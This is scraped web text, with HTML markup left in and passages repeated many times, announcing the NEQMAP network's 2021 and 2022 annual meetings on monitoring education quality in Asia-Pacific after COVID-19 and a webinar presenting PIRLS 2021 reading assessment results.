As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> 